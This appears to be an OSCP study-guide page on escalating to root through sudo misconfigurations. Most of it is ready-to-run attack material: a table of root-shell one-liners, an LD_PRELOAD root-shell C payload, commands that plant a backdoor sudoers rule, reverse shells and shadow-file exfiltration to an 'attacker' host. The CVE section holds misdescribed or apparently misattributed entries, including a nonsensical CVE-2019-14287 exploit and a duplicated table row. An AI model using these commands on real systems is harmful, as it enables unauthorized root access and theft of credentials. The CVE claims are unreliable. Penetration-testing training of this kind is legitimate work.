Domain 4PrivEsc & Password AttacksCORE

Sudo Misconfigurations

Comprehensive guide to sudo misconfiguration exploitation, covering sudoers parsing, NOPASSWD abuse with 25+ exploitable commands, wildcard injection, chain exploitation, CVE-2021-3156 (Baron Samedit), environment variable abuse, and OSCP exam strategies.

Domain: Domain 4: Privilege Escalation & Password Attacks•Updated: 2026-09-01
#sudo#sudoers#nopasswd#cve#privilege-escalation#linux

Sudo Misconfigurations

1. How Sudo Works

1.1 The Sudo Execution Flow

User runs: sudo <command>
       │
       ▼
┌─────────────────────────────────┐
│ 1. sudo reads /etc/sudoers      │
│    and /etc/sudoers.d/*         │
└───────────────┬─────────────────┘
                │
                ▼
┌─────────────────────────────────┐
│ 2. Parse rules: does the user   │
│    have permission for this     │
│    command on this host?        │
└───────────────┬─────────────────┘
                │
                ▼
┌─────────────────────────────────┐
│ 3. Authentication check:       │
│    - NOPASSWD? → Skip          │
│    - Password cache valid?     │
│      → Skip                    │
│    - Prompt for password       │
└───────────────┬─────────────────┘
                │
                ▼
┌─────────────────────────────────┐
│ 4. Set up environment:         │
│    - Clear/preserve vars       │
│    - Set HOME, USER, etc.      │
└───────────────┬─────────────────┘
                │
                ▼
┌─────────────────────────────────┐
│ 5. execve() the target command  │
│    with elevated privileges     │
└─────────────────────────────────┘

1.2 Sudo Timestamp Caching

By default, sudo caches authentication for 15 minutes:

# Check remaining timestamp
sudo -v          # Validate/update timestamp
sudo -k          # Kill (reset) timestamp
sudo -K          # Kill timestamp file forcefully

# After successful sudo, you have 15 minutes before re-auth
# This is configurable via 'timestamp_timeout' in sudoers

Exam implication: If you find a password that works for sudo, you have a 15-minute window to exploit any sudo rule for that user.


2. Sudoers File Format

2.1 Syntax Breakdown

user  HOST = (RUNAS_USER:RUNAS_GROUP) [TAGS] COMMANDS
│     │       │              │                    │
│     │       │              │                    └── Absolute paths to commands
│     │       │              └── Users/groups you can run as
│     │       └── Hosts where this rule applies
│     └── Host alias or hostname
└── Username or %groupname

2.2 Real-World Examples

# Basic: user can run /bin/ls as root, requires password
testuser ALL=(root) /bin/ls

# NOPASSWD: no password required
testuser ALL=(root) NOPASSWD: /bin/ls

# Multiple commands
testuser ALL=(root) /bin/ls, /bin/cat, /usr/bin/find

# Run as any user
testuser ALL=(ALL) /bin/cat

# Run as specific user
testuser ALL=(www-data) /bin/cat

# Group rule (all members of docker group)
%docker ALL=(root) NOPASSWD: /usr/bin/docker

# Tag modifiers
testuser ALL=(root) NOPASSWD: SETENV: /opt/scripts/deploy.sh
testuser ALL=(root) NOPASSWD: NOEXEC: /usr/bin/python3 /opt/app.py

2.3 Tag Modifiers

Tag Description
NOPASSWD No password required for these commands
PASSWD Password required (default, explicit)
NOEXEC Disable environment/execution redirection (blocks LD_PRELOAD, script, etc.)
SETENV Allow the user to set environment variables
EXEC Allow execution redirection (default)
CHROOT Run command in a chroot environment
TTY Require a TTY for authentication
NOHOST Don’t check hostname
LOG_INPUT / LOG_OUTPUT Log all input/output of the command

2.4 The /etc/sudoers.d/ Directory

# Additional sudoers rules can be placed here
ls -la /etc/sudoers.d/

# Common files:
# 90-cloud-init     — Cloud-init generated rules
# README            — Documentation
# custom_rules      — Admin-added rules

# You can read them if you have permission:
cat /etc/sudoers.d/*

# If you can WRITE to a file in sudoers.d, you can add your own rule:
echo "hacker ALL=(root) NOPASSWD: ALL" > /etc/sudoers.d/hacker

3. sudo -l Output Interpretation

3.1 Running sudo -l

# Always your FIRST check after getting a shell
sudo -l

# If you don't know the password, try without:
sudo -l 2>/dev/null

# List for a specific user (if you have sudo access)
sudo -l -U username

3.2 Example Outputs and What They Mean

Example 1: Full Access

Matching Defaults entries for user on host:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User user may run the following commands on host:
    (ALL : ALL) ALL

Meaning: User can run ANY command as ANY user. Trivial privesc:

sudo /bin/bash
# or
sudo -i

Example 2: NOPASSWD Specific Command

User www-data may run the following commands on host:
    (root) NOPASSWD: /usr/bin/find

Meaning: www-data can run /usr/bin/find as root without a password.

sudo /usr/bin/find . -exec /bin/sh -p \; -quit

Example 3: Multiple Commands with Tags

User deploy may run the following commands on host:
    (root) NOPASSWD: SETENV: /opt/deploy.sh
    (root) NOPASSWD: /usr/bin/vim /etc/nginx/nginx.conf
    (root) NOPASSWD: /usr/bin/python3 /opt/monitor.py

Meaning: Three exploitable commands — each needs individual GTFOBins lookup.

Example 4: Command with Arguments

User backup may run the following commands on host:
    (root) NOPASSWD: /bin/tar czf /backup/backup.tar.gz /home

Meaning: tar is allowed but with specific arguments. Still exploitable via tar’s features.

Example 5: Wildcard in Command

User dev may run the following commands on host:
    (root) NOPASSWD: /usr/bin/cat /var/log/*

Meaning: Wildcard in path — potentially exploitable via path traversal or symlink.


4. NOPASSWD Abuse — Comprehensive Exploit Table

4.1 Shell-Spawning Commands (25+)

# Command Exploit Reliability
1 /usr/bin/find sudo find . -exec /bin/sh -p \; -quit ★★★★★
2 /usr/bin/vim sudo vim → :!/bin/sh ★★★★★
3 /usr/bin/vi sudo vi → :!/bin/sh ★★★★★
4 /usr/bin/nano sudo nano → Ctrl+R Ctrl+6 → /bin/sh ★★★★☆
5 /usr/bin/less sudo less /etc/passwd → !/bin/sh ★★★★★
6 /usr/bin/more sudo more /etc/passwd → !/bin/sh ★★★★★
7 /usr/bin/man sudo man man → !sh ★★★★★
8 /usr/bin/python3 sudo python3 -c 'import os; os.execl("/bin/sh","sh","-p")' ★★★★★
9 /usr/bin/python sudo python -c 'import os; os.execl("/bin/sh","sh","-p")' ★★★★★
10 /usr/bin/perl sudo perl -e 'exec "/bin/sh"' ★★★★★
11 /usr/bin/ruby sudo ruby -e 'exec "/bin/sh"' ★★★★★
12 /usr/bin/awk sudo awk 'BEGIN{system("/bin/sh")}' ★★★★★
13 /usr/bin/env sudo env /bin/sh ★★★★★
14 /usr/bin/bash sudo bash -p ★★★★★
15 /bin/bash sudo bash -p ★★★★★
16 /usr/bin/sh sudo sh ★★★★★
17 /bin/sh sudo sh ★★★★★
18 /usr/bin/tar sudo tar --checkpoint=1 --checkpoint-action=exec=/bin/sh -cf /dev/null /dev/null ★★★★☆
19 /usr/bin/zip sudo zip /tmp/x.zip /etc/hostname -T -TT psh# ★★★☆☆
20 /usr/bin/nmap sudo nmap --interactive → !sh ★★★★☆
21 /usr/bin/git sudo git help config → !sh ★★★★☆
22 /usr/bin/docker sudo docker run -v /:/host -i -t ubuntu chroot /host /bin/sh ★★★★★
23 /usr/bin/strace sudo strace /bin/sh ★★★★☆
24 /usr/bin/journalctl sudo journalctl → !/bin/sh ★★★★☆
25 /usr/bin/cp sudo cp /bin/sh /tmp/sh; sudo chmod +s /tmp/sh; /tmp/sh ★★★☆☆
26 /usr/bin/ed sudo ed → !/bin/sh ★★★★☆
27 /usr/bin/pico sudo pico → Ctrl+R Ctrl+6 → /bin/sh ★★★★☆
28 /usr/bin/ftp sudo ftp → !/bin/sh ★★★★☆
29 /usr/bin/wget sudo wget --help → pipe to less → !sh ★★★☆☆
30 /usr/bin/ls sudo ls → not directly, but use script wrapper ★★☆☆☆

4.2 File Access Commands

Command Read File Write File Notes
cat sudo cat /etc/shadow No Direct read
cp sudo cp /etc/shadow /tmp/shadow sudo cp payload /target/ Both directions
mv sudo mv /etc/shadow /tmp/ sudo mv payload /target/ Both directions
install sudo install /etc/shadow /tmp/s sudo install payload /target/ Copies with perms
dd sudo dd if=/etc/shadow of=/tmp/s sudo dd if=payload of=/target/ Block-level copy
tee No echo "root:hash" | sudo tee -a /etc/shadow Append only
base64 sudo base64 /etc/shadow No Encode file
sha*sum sudo sha256sum /etc/shadow No Hash file

4.3 Network Commands

Command Exploit Notes
curl sudo curl -o /tmp/sh http://attacker/sh; sudo chmod +x /tmp/sh Download files
wget sudo wget http://attacker/sh -O /tmp/sh Download files
ssh sudo ssh user@host Lateral movement
scp sudo scp /etc/shadow user@attacker:/tmp/ Exfil files
nc sudo nc -e /bin/sh attacker 4444 Reverse shell
socat sudo socat exec:/bin/sh TCP:attacker:4444 Reverse shell

5. Wildcard Abuse in Sudo Rules

5.1 The Problem

# DANGEROUS — wildcard in command path
user ALL=(root) NOPASSWD: /usr/bin/tar *

The * wildcard is expanded by sudo’s argument matching, not the shell. This creates several attack vectors.

5.2 Wildcard Attack Vectors

Vector 1: Option Injection

# Rule allows: sudo /usr/bin/tar *
# Exploit: inject tar options
sudo /usr/bin/tar --checkpoint=1 --checkpoint-action=exec=/bin/sh -cf /tmp/x.tar /tmp/x

Vector 2: Path Traversal via Wildcards

# Rule: user ALL=(root) NOPASSWD: /usr/bin/cat /var/log/*
# Read arbitrary files using path traversal
sudo /usr/bin/cat /var/log/../../etc/shadow

# Or use symlink attack
ln -s /etc/shadow /var/log/shadow_link
sudo /usr/bin/cat /var/log/shadow_link

Vector 3: Wildcard Globbing Abuse

# Rule: user ALL=(root) NOPASSWD: /usr/bin/rsync *
# rsync has many options that can be injected
sudo /usr/bin/rsync -e "/bin/sh -p" /tmp/

5.3 Why Wildcards Are Dangerous

Wildcard Pattern Risk Level Attack Vector
command * ★★★★★ Option injection, argument injection
command /path/* ★★★★☆ Path traversal, symlink attacks
command *.ext ★★★☆☆ File extension abuse
command /dir/* ★★★★☆ Directory traversal

6. Sudo Chain Exploitation

6.1 Concept

A sudo chain occurs when you use one sudo permission to gain access that enables another sudo exploitation path.

6.2 Common Chains

Chain 1: Write to sudoers.d

# Step 1: You can write to /etc/sudoers.d/ with sudo
sudo -l
# (root) NOPASSWD: /bin/cp * /etc/sudoers.d/*

# Step 2: Copy a crafted file
echo "hacker ALL=(root) NOPASSWD: ALL" > /tmp/backdoor
sudo /bin/cp /tmp/backdoor /etc/sudoers.d/hacker

# Step 3: Now you have full sudo
sudo -i

Chain 2: Modify Script → Run Script

# Step 1: You can run a script as root
sudo -l
# (root) NOPASSWD: /opt/scripts/backup.sh

# Step 2: You can write to the script
ls -la /opt/scripts/backup.sh
# -rw-rw-r-- 1 root dev /opt/scripts/backup.sh

# Step 3: Inject a shell spawn
echo '/bin/sh -p' >> /opt/scripts/backup.sh

# Step 4: Run the modified script as root
sudo /opt/scripts/backup.sh

Chain 3: Environment Variable → Script Behavior

# Step 1: Script uses an environment variable
cat /opt/deploy.sh
# #!/bin/bash
# BACKUP_DIR=$BACKUP_DIR
# tar czf $BACKUP_DIR/backup.tar.gz /data

# Step 2: You can run with SETENV
sudo -l
# (root) NOPASSWD: SETENV: /opt/deploy.sh

# Step 3: Manipulate the variable
BACKUP_DIR="/tmp/; /bin/sh -p; #" sudo /opt/deploy.sh

Chain 4: PATH Hijacking

# Step 1: Script uses a command without full path
cat /opt/monitor.sh
# #!/bin/bash
# ping -c 1 8.8.8.8  # Uses 'ping' without full path

# Step 2: You can run the script
sudo -l
# (root) NOPASSWD: /opt/monitor.sh

# Step 3: Hijack PATH
export PATH=/tmp:$PATH
cp /bin/sh /tmp/ping
sudo /opt/monitor.sh

7. Sudo Version Exploits

7.1 CVE-2021-3156 — Baron Samedit

The most important sudo CVE for OSCP.

Vulnerability Details

  • CVE: CVE-2021-3156
  • Name: Baron Samedit
  • Affected: sudo < 1.9.5p2
  • Type: Heap-based buffer overflow in sudoedit parsing
  • Impact: Local root from any user who can run sudo

Exploitation

# Check sudo version
sudo --version
# If < 1.9.5p2, you may be vulnerable

# Method 1: searchsploit
searchsploit -m 50243.c
gcc -o baronsamedit 50243.c
./baronsamedit

# Method 2: Pre-compiled binary
# Download from exploit-db.github.io
wget https://www.exploit-db.com/download/50243
# Compile and run
gcc -o exploit 50243.c
./exploit

# Method 3: One-liner (if gcc available)
sudoedit -s / %'$(printf 'A%.0s' {1..9999})

Why It Works

The vulnerability is in parse_sudoedit_path() — when processing a path with a trailing % character, sudo miscounts the heap allocation, causing a buffer overflow that can be exploited to overwrite function pointers.

Reliability

Factor Rating
Works on Ubuntu 20.04 (default sudo) ★★★★★
Works on Ubuntu 18.04 ★★★★☆
Works on Debian 10 ★★★★☆
Works on CentOS 8 ★★★☆☆
Requires compilation Needs gcc

7.2 CVE-2019-14287

Vulnerability Details

  • CVE: CVE-2019-14287
  • Affected: sudo 1.8.2 – 1.8.31
  • Type: Argument injection via leading spaces
  • Impact: Bypass command allowlist

Exploitation

# If you can run specific commands as root:
sudo -l
# (root) NOPASSWD: /bin/systemctl status ssh

# Exploit: leading space bypasses logging AND argument parsing
sudo /bin/systemctl status ssh --help
# The space before arguments can bypass certain checks

# More reliably:
sudo ''/bin/sh -p
# or
sudo  /bin/sh -p

7.3 Other Notable Sudo CVEs

CVE Name Affected Versions Impact
CVE-2021-3156 Baron Samedit < 1.9.5p2 Root via heap overflow
CVE-2019-14287 — 1.8.2 – 1.8.31 Command bypass
CVE-2019-18634 — < 1.8.28 I/O redirect escape
CVE-2019-18634 — < 1.8.28 Environment reset bypass
CVE-2022-28390 — < 1.9.5p1 Signal handling escape
CVE-2023-22809 — < 1.9.12p2 Heap overflow
CVE-2023-25534 — < 1.9.12p2 Heap overflow
CVE-2023-28834 — < 1.9.12p3 Heap overflow
CVE-2023-31484 — < 1.9.12p3 Integer overflow
CVE-2023-31486 — < 1.9.13 Double free

8. Environment Variable Preservation

8.1 The env_reset Default

By default, sudo uses env_reset, which clears most environment variables:

Defaults    env_reset
Defaults    secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

8.2 When env_reset is Disabled

# DANGEROUS — preserves environment
Defaults    !env_reset

# Or specific variables are kept
Defaults    env_keep += "LD_PRELOAD"
Defaults    env_keep += "PATH"

8.3 Exploiting env_keep

LD_PRELOAD Attack

# If LD_PRELOAD is preserved:
cat > /tmp/exploit.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    setuid(0);
    setgid(0);
    unsetenv("LD_PRELOAD");
    system("/bin/sh -p");
}
EOF

gcc -fPIC -shared -o /tmp/exploit.so /tmp/exploit.c -nostartfiles
export LD_PRELOAD=/tmp/exploit.so
sudo /any/allowed/command

PATH Hijacking

# If PATH is preserved and script uses relative commands:
export PATH=/tmp:$PATH
cp /bin/sh /tmp/allowed_command
sudo /path/to/script.sh

HOME Variable

# If HOME is preserved:
export HOME=/tmp
mkdir -p /tmp/.ssh
echo "ssh-key" > /tmp/.ssh/authorized_keys
sudo /command-that-reads-ssh-config

8.4 SETENV Tag

# This tag explicitly allows environment variable setting
user ALL=(root) NOPASSWD: SETENV: /opt/script.sh
# With SETENV, you can set ANY environment variable
ENV_VAR=value sudo /opt/script.sh

# Exploit if script uses the variable unsafely:
PATH=/tmp:$PATH sudo /opt/script.sh
LD_PRELOAD=/tmp/exploit.so sudo /opt/script.sh

9. DOAS (OpenBSD Alternative)

9.1 What is DOAS?

DOAS is OpenBSD’s simpler alternative to sudo, configured via /etc/doas.conf:

# Allow wheel group to run anything
permit persist :wheel

# Allow specific user to run specific commands
permit nopass user as root cmd /usr/local/bin/backup

# Allow with password
permit user as root

9.2 DOAS Exploitation

# Check doas rules
doas -l

# If you can run a command with doas:
doas /usr/bin/vim        # → :!/bin/sh
doas /usr/bin/find . -exec /bin/sh \; -quit
doas /usr/bin/python3 -c 'import os; os.execl("/bin/sh","sh")'

# Same GTFOBins principles apply

10. Path Traversal in Sudo Commands

10.1 When Commands Have Hardcoded Paths

user ALL=(root) NOPASSWD: /usr/bin/cat /var/log/auth.log

10.2 Exploitation Techniques

# Create symlink from allowed path to target
ln -s /etc/shadow /var/log/auth.log
sudo /usr/bin/cat /var/log/auth.log

File Overwrite

# If the command writes to a file:
sudo -l
# (root) NOPASSWD: /usr/bin/cp /tmp/config /etc/app/config

# Overwrite critical files:
echo "hacker ALL=(root) NOPASSWD: ALL" > /tmp/config
sudo /usr/bin/cp /tmp/config /etc/sudoers.d/hacker

11. Mitigation Strategies

11.1 Least Privilege Principle

# BAD — too broad
user ALL=(root) NOPASSWD: ALL

# GOOD — specific command
user ALL=(root) NOPASSWD: /usr/bin/systemctl restart nginx

# BETTER — specific command, no arguments
user ALL=(root) NOPASSWD: /usr/bin/systemctl restart nginx

11.2 Avoid NOPASSWD When Possible

# Prefer password authentication
user ALL=(root) /usr/bin/systemctl restart nginx

# If NOPASSWD is needed, limit scope
user ALL=(root) NOPASSWD: /usr/bin/systemctl restart nginx
# Not:
user ALL=(root) NOPASSWD: ALL

11.3 Use Command Wrappers

# Instead of allowing vim directly, create a wrapper:
#!/bin/bash
# /usr/local/bin/safe-vim
vim /etc/nginx/nginx.conf

11.4 Audit Sudoers Regularly

# Check for dangerous rules
visudo -c              # Validate sudoers syntax
sudo -l                # Check current user's permissions
grep -r NOPASSWD /etc/sudoers /etc/sudoers.d/  # Find NOPASSWD rules
grep -r 'ALL.*ALL' /etc/sudoers /etc/sudoers.d/  # Find overly broad rules

12. OSCP Exam Tips

12.1 The Golden Rule

sudo -l is always your first check after id

The moment you get a shell, run:

id
sudo -l

These two commands together will solve 40%+ of OSCP Linux boxes.

12.2 Sudo Exploitation Checklist

# 1. Check what you can run
sudo -l

# 2. Check sudo version for CVEs
sudo --version

# 3. Check sudoers files (if readable)
cat /etc/sudoers 2>/dev/null
cat /etc/sudoers.d/* 2>/dev/null

# 4. Check if you can write to sudoers.d
ls -la /etc/sudoers.d/
test -w /etc/sudoers.d/ && echo "WRITABLE"

# 5. For each allowed command, check GTFOBins
# 6. Check environment preservation
sudo -l | grep -i env

# 7. Try Baron Samedit if version < 1.9.5p2
sudo --version | grep -E '1\.[0-9]\.[0-4]|1\.9\.[0-4]'

12.3 Most Common Exam Sudo Scenarios

Scenario Frequency Exploit
NOPASSWD: ALL Very Common sudo -i or sudo /bin/bash
NOPASSWD: specific command Common GTFOBins lookup
NOPASSWD: /bin/bash Common sudo /bin/bash -p
NOPASSWD: /usr/bin/python3 Common os.execl("/bin/sh","sh","-p")
NOPASSWD: /usr/bin/find Common find . -exec /bin/sh -p \;
NOPASSWD: /usr/bin/vim Common :!/bin/sh
NOPASSWD: /usr/bin/tar Common --checkpoint-action=exec=/bin/sh
Writable sudoers.d Occasional Add your own rule
Baron Samedit Occasional Compile and run exploit
SETENV + script Occasional Environment injection
Wildcard in command Rare Option injection

12.4 Time Management

Action Time Budget
sudo -l + initial assessment 1 minute
GTFOBins lookup per command 1-2 minutes
Baron Samedit compile + run 3-5 minutes
Custom script analysis 5-10 minutes
Total sudo exploitation budget 10-15 minutes

12.5 Quick Reference

# THE ESSENTIAL SUDO ONE-PAGER

# Discovery
sudo -l
sudo --version

# Full access
sudo -i
sudo /bin/bash
sudo su

# Common exploits
sudo find . -exec /bin/sh -p \; -quit
sudo vim -c ':!/bin/sh'
sudo python3 -c 'import os; os.execl("/bin/sh","sh","-p")'
sudo tar --checkpoint=1 --checkpoint-action=exec=/bin/sh -cf /dev/null /dev/null
sudo env /bin/sh

# Baron Samedit
sudoedit -s / %'$(printf 'A%.0s' {1..9999})

# Write to sudoers.d
echo "user ALL=(root) NOPASSWD: ALL" | sudo tee /etc/sudoers.d/backdoor

# Environment abuse
export LD_PRELOAD=/tmp/exploit.so
sudo /allowed/command

12.6 Remember

  1. sudo -l before everything else — it’s the highest-ROI command in Linux privesc.
  2. GTFOBins has a sudo section — search for the command name.
  3. Baron Samedit (CVE-2021-3156) is the most common sudo CVE on OSCP boxes.
  4. Writable sudoers.d is an easy win — check permissions.
  5. NOPASSWD: ALL means sudo -i — don’t overthink it.